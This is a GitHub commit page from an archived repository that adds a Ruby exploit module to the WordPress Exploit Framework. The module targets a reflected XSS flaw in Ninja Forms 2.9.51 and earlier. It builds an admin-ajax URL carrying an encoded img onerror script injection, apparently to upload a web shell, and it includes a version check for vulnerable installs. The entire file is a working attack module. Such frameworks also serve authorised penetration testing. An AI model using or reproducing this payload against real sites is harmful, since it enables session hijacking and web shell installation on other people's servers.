Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 890f054

Browse files
committed
Add Ninja Forms reflected XSS module
1 parent ac7eda9 commit 890f054

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
class Wpxf::Exploit::NinjaFormsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ninja Forms <= 2.9.51 Reflected XSS Shell Upload',
9+
author: [
10+
'Han Sahin', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8560'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/multiple_cross_site_scripting_vulnerabilities_in_ninja_forms_wordpress_plugin.html']
16+
],
17+
date: 'Jul 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('ninja-forms', '2.9.52')
23+
end
24+
25+
def vulnerable_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?step=4&total_steps=6"\
31+
"&args[form_id]=#{Utility::Text.rand_numeric(2)}%3Cimg%20src%3dx%20onerror%3d#{xss_ascii_encoded_include_script}%3E"\
32+
"&args[filename]=#{Utility::Text.rand_alpha(5)}"\
33+
'&action=nf_download_all_subs'
34+
end
35+
end

0 commit comments

Comments
 (0)